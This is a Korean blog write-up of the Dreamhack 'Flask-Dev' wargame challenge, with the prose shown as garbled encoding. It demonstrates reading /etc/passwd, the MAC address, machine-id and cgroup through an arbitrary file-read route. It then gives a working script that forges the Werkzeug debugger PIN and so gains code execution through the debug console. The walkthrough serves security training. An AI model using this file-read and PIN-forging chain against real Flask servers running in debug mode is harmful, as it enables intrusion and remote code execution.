CTF, War game

[Dreamhack] Level 4: Flask-Dev

mnzy๐ŸŒฑ 2024. 4. 26. 17:01

 

1. ๋ฌธ์ œ 

https://dreamhack.io/wargame/challenges/74

 

Flask-Dev

์ทจ์•ฝ์ ์„ ์ฐพ์•„ ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•ด๋ณด์„ธ์š”. ํ”Œ๋ž˜๊ทธ๋Š” /flag ๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•ด๋‹น ๋ฌธ์ œ๋Š” ์ˆ™๋ จ๋œ ์›นํ•ด์ปค๋ฅผ ์œ„ํ•œ ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค.

dreamhack.io

 

2. ํ•ด๊ฒฐ ๊ณผ์ •

์ฝ”๋“œ์˜ ์•„๋ž˜ ๋ถ€๋ถ„์„ ๋ณด๋ฉด, debug=True๋ผ๊ณ  ๋˜์–ด์žˆ๋‹ค. 

Flask์—์„œ Dubugger ๋ชจ๋“œ๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์„ ๋•Œ, ์—๋Ÿฌ ๋ฐœ์ƒ ์‹œ ์—๋Ÿฌ๋ฅผ ๋ณด์—ฌ์ฃผ๋Š” ํŽ˜์ด์ง€๊ฐ€ ์ถœ๋ ฅ๋œ๋‹ค. 

ํ•ด๋‹น ์—๋Ÿฌ ํŽ˜์ด์ง€์—์„œ๋Š” ์ฝ˜์†”์„ ์‹คํ–‰์‹œํ‚ฌ ์ˆ˜ ์žˆ๋Š”๋ฐ, ์ด๋•Œ ์ฝ˜์†”์„ ์‹คํ–‰์‹œํ‚ค๊ธฐ ์œ„ํ•ด์„œ๋Š” PIN์ด ํ•„์š”ํ•˜๋‹ค. 

#!/usr/bin/python3
from flask import Flask
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

@app.route('/')
def index():
	return 'Hello !'

@app.route('/<path:file>')
def file(file):
	return open(file).read()

app.run(host='0.0.0.0', port=8000, threaded=True, debug=True)

 

flask ๋””๋ฒ„๊ทธ ๋ชจ๋“œ๋ž€?

ํ”Œ๋ž˜๊ทธ๊ฐ€ /flag์— ์กด์žฌํ•œ๋‹ค๊ณ  ํ–ˆ๊ธฐ ๋•Œ๋ฌธ์— /flag์— ์ ‘์†ํ•ด๋ณด๋ฉด FileNotFoundError๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค. 

ํ•ด๋‹น ์œ„์น˜์— ํ•ด๋‹น ํŒŒ์ผ์ด ์กด์žฌํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒƒ์ด๋‹ค. 

 

๋ฆฌํ„ด ๊ฐ’ ์นธ์— ๋‚˜์˜ค๋Š” ํ„ฐ๋ฏธ๋„ ๋ฒ„ํŠผ์„ ๋ˆŒ๋Ÿฌ๋ณด๋ฉด ์ฝ˜์†”์„ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด PIN์„ ์ž…๋ ฅํ•˜๋ผ๊ณ  ๋œฌ๋‹ค.

๋”ฐ๋ผ์„œ, PIN์„ exploitํ•ด์•ผ ํ•˜๋Š”๋ฐ, ์ด๋ฅผ ์œ„ํ•ด์„œ ์•Œ์•„๋‚ด์•ผ ํ•˜๋Š” ์ •๋ณด๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค. 

ํŒŒ์ด์ฌ์˜ ๋ฒ„์ „๋งˆ๋‹ค ๋‹ค๋ฅด์ง€๋งŒ, ๋ฌธ์ œ ์ฝ”๋“œ์—์„œ ํŒŒ์ด์ฌ์˜ ๋ฒ„์ „์ด 3.8์ด๋ผ๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค. 

FROM python:3.8

# ENV
ENV user dreamhack
ENV port 8000

# SET packages
#RUN apt-get update -y
#RUN apt-get install -y python-pip python-dev build-essential musl-dev gcc

# SET challenges
RUN adduser --disabled-password $user
ADD ./deploy /app
WORKDIR /app
RUN pip install -r requirements.txt # or # RUN pip install flask
RUN gcc /app/flag.c -o /flag \
    && chmod 111 /flag && rm /app/flag.c

# RUN
USER $user
EXPOSE $port

ENTRYPOINT ["python"]
CMD ["app.py"]

 

debugger PIN์„ ์ƒ์„ฑํ•˜๋Š” ์ฝ”๋“œ๋Š”  __init__.py ๋ผ๋Š” ํŒŒ์ผ์•ˆ์— ์žˆ๋‹ค.

[๊ฒฝ๋กœ] /usr/local/lib/python3.8/site-packages/werkzeug/debug/__init__.py

+) ๊ฒฝ๋กœ๋Š” ํŒŒ์ด์ฌ์˜ ๋ฒ„์ „๋งˆ๋‹ค ๋‹ค๋ฆ„ 

def get_pin_and_cookie_name(
    app: WSGIApplication,
) -> tuple[str, str] | tuple[None, None]:
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdecimal():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
    username: str | None

    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode()
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name

 

๊ฒฐ๊ตญ, ์•„๋ž˜ ๊ฐ’๋“ค์ด ์žˆ์–ด์•ผ debugger PIN์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค.

    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ]
    
    private_bits = [str(uuid.getnode()), get_machine_id()]
    • username: dreamhack
      • app.py๋ฅผ ์‹คํ–‰ํ•œ ์‚ฌ์šฉ์ž ์ด๋ฆ„
    • modname: flask.app
      • Flask ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ชจ๋“ˆ ์ด๋ฆ„
      • Flask ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‹คํ–‰ํ•  ๋•Œ ์‚ฌ์šฉ๋˜๋Š” ๋ชจ๋“ˆ์˜ ์ด๋ฆ„์ด flask.app์ด๋‹ค. 
    • getattr(app, '__name__', getattr (app .__ class__, '__name__')): flask
      • Flask ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ฐ์ฒด app์˜ ํด๋ž˜์Šค ์ด๋ฆ„ 
      • app ๊ฐ์ฒด๊ฐ€ Flask ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ธ์Šคํ„ด์Šค์ด๋ฏ€๋กœ, ํด๋ž˜์Šค ์ด๋ฆ„์€ Flask์ž…๋‹ˆ๋‹ค.
    • getattr(mod, '__file__', None): /usr/local/lib/python3.8/site-packages/flask/app.py
      • app.py์˜ ์ ˆ๋Œ€ ๊ฒฝ๋กœ
      • Flask ๋ชจ๋“ˆ ํŒŒ์ผ์˜ ์ ˆ๋Œ€ ๊ฒฝ๋กœ
  • uuid.getnode(): ํ•ด๋‹น pc์˜ MAC ์ฃผ์†Œ
    • UUID ๋ชจ๋“ˆ์˜ getnode ๋ฉ”์„œ๋“œ๋Š” ์‹œ์Šคํ…œ์˜ MAC ์ฃผ์†Œ๋ฅผ ๋ฐ˜ํ™˜ํ•œ๋‹ค. 
    • /sys/class/net/<device id>/address
    • <device id>๋Š” ๋„คํŠธ์›Œํฌ ์ธํ„ฐํŽ˜์ด์Šค์˜ ์ด๋ฆ„(์˜ˆ: eth0, wlan0)
  • get_machine_id()
    •  '/etc/machine-id' ํŒŒ์ผ์˜ ๊ฐ’, '/proc/sys/kernel/random/boot_id' ํŒŒ์ผ์˜ ๊ฐ’
    • /proc/self/cgroup์˜ ๊ฐ’: 
    • ์‹œ์Šคํ…œ์˜ ๊ณ ์œ  ์‹๋ณ„์ž๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” ํ•จ์ˆ˜
def get_machine_id() -> str | bytes | None:
    global _machine_id

    if _machine_id is not None:
        return _machine_id

    def _generate() -> str | bytes | None:
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue

            if value:
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:
            pass

        if linux:
            return linux

        # On OS X, use ioreg to get the computer's serial number.
        try:
            # subprocess may not be available, e.g. Google App Engine
            # https://github.com/pallets/werkzeug/issues/925
            from subprocess import PIPE
            from subprocess import Popen

            dump = Popen(
                ["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
            ).communicate()[0]
            match = re.search(b'"serial-number" = <([^>]+)', dump)

            if match is not None:
                return match.group(1)
        except (OSError, ImportError):
            pass

        # On Windows, use winreg to get the machine guid.
        if sys.platform == "win32":
            import winreg

            try:
                with winreg.OpenKey(
                    winreg.HKEY_LOCAL_MACHINE,
                    "SOFTWARE\\Microsoft\\Cryptography",
                    0,
                    winreg.KEY_READ | winreg.KEY_WOW64_64KEY,
                ) as rk:
                    guid: str | bytes
                    guid_type: int
                    guid, guid_type = winreg.QueryValueEx(rk, "MachineGuid")

                    if guid_type == winreg.REG_SZ:
                        return guid.encode()

                    return guid
            except OSError:
                pass

        return None

    _machine_id = _generate()
    return _machine_id
[์ฐธ๊ณ ] https://lactea.kr/entry/python-flask-debugger-pin-find-and-exploit

 

+) cgroup: /proc/self/cgroup

 

๊ฒฐ๊ตญ, ์•Œ์•„๋‚ด์•ผ ํ•˜๋Š” ๊ฐ’์€ private_bits์˜ ๊ฐ’์ด๋‹ค. 

 

๋จผ์ €, ํ•ด๋‹น ๊ฐ’๋“ค์„ ์•Œ์•„๋ณด๊ธฐ์ „์— LFI๋ฅผ ์ด์šฉํ•ด๋ณผ ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด๋ณด์•˜๋‹ค. 

ํ”„๋ก์‹œ๋ฅผ ํ†ตํ•ด /etc/passwd์— ์ ‘๊ทผํ•ด๋ณด์•˜๋‹ค.

 

๋จผ์ € ์„œ๋ฒ„์˜ MAC Address๋ฅผ ์•Œ์•„๋‚ด๊ธฐ ์œ„ํ•ด์„œ๋Š” ์ธํ„ฐํŽ˜์ด์Šค ์ด๋ฆ„์„ ์•Œ์•„๋‚ด์•ผ ํ•œ๋‹ค. 

  • /proc/net/dev
  • ์ธํ„ฐํŽ˜์ด์Šค ์ด๋ฆ„ : eth0

Inter-| Receive | Transmit face |bytes packets errs drop fifo frame compressed multicast|bytes packets errs drop fifo colls carrier compressed lo: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 eth0: 40664 400 0 0 0 0 0 0 926719 591 0 0 0 0 0 0

 

๋งฅ ์ฃผ์†Œ

  • /sys/class/net/eth0/address

 

๋งฅ ์ฃผ์†Œ๋Š” ์ •์ˆ˜ํ˜•์œผ๋กœ ๋„ฃ์–ด์•ผ ํ•œ๋‹ค.

https://www.vultr.com/resources/mac-converter/

 

MAC Address Converter

We are simplifying the cloud. One Login, 19 Countries, 32 Cities, Infinite Possibilities.

www.vultr.com

 

'/etc/machine-id' 

 

'/proc/sys/kernel/random/boot_id' ํŒŒ์ผ์˜ ๊ฐ’

 

/proc/self/cgroup

 

 

์•Œ์•„๋‚ธ ๊ฐ’์„ ์ •๋ฆฌํ•ด๋ณด๋ฉด

  • username: dreamhack
  • modname: flask.app
  • getattr(app, '__name__', getattr (app .__ class__, '__name__')): flask
  • ๋งฅ ์ฃผ์†Œ: aa:fc:00:02:58:01
  • '/proc/sys/kernel/random/boot_id' ํŒŒ์ผ์˜ ๊ฐ’: 98a0e84b-edaa-4af0-aafe-8a06299e1efb
  • '/etc/machine-id' ํŒŒ์ผ์˜ ๊ฐ’  : c31eea55a29431535ff01de94bdcf5cf
  • cgroup: libpod-f0e3a27e9a5aac3cb86ed8bd9e8bfc70ac0e3e0bcbc42ea414a41d793f44fcf2

 

์ด ๊ฐ’๋“ค์„ ๊ธฐ๋ฐ˜์œผ๋กœ ๋””๋ฒ„๊ฑฐ ํ•€์„ ์ƒ์„ฑํ•˜๋Š” ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜์—ฌ ์‹คํ–‰ํ•œ๋‹ค. 

์ฝ”๋“œ ์ฐธ๊ณ : https://www.daehee.com/blog/werkzeug-console-pin-exploit

 

Werkzeug Console PIN Exploit | Daehee Park

 

www.daehee.com

 

import hashlib
from itertools import chain

probably_public_bits = [
    'dreamhack', # username
    'flask.app', # modname 
    'Flask',     # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

# cgroup 
cgroup = 'libpod-f0e3a27e9a5aac3cb86ed8bd9e8bfc70ac0e3e0bcbc42ea414a41d793f44fcf2'

# private_bits 
private_bits = [
    '187999308641793',  # str(uuid.getnode())
    b'c31eea55a29431535ff01de94bdcf5cf' + cgroup.encode('utf-8') # get_machine_id() + cgroup
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

 

[์‹คํ–‰ ๊ฒฐ๊ณผ] 184-013-159

 

 

๋””๋ฒ„๊ฑฐ ํ•€์„ ํ™œ์šฉํ•˜์—ฌ ์ฝ˜์†”์„ ์‹คํ–‰์‹œ์ผœ /flag ์‹คํ–‰ํ•˜๋ฉด

ํ”Œ๋ž˜๊ทธ ํš๋“ ์„ฑ๊ณต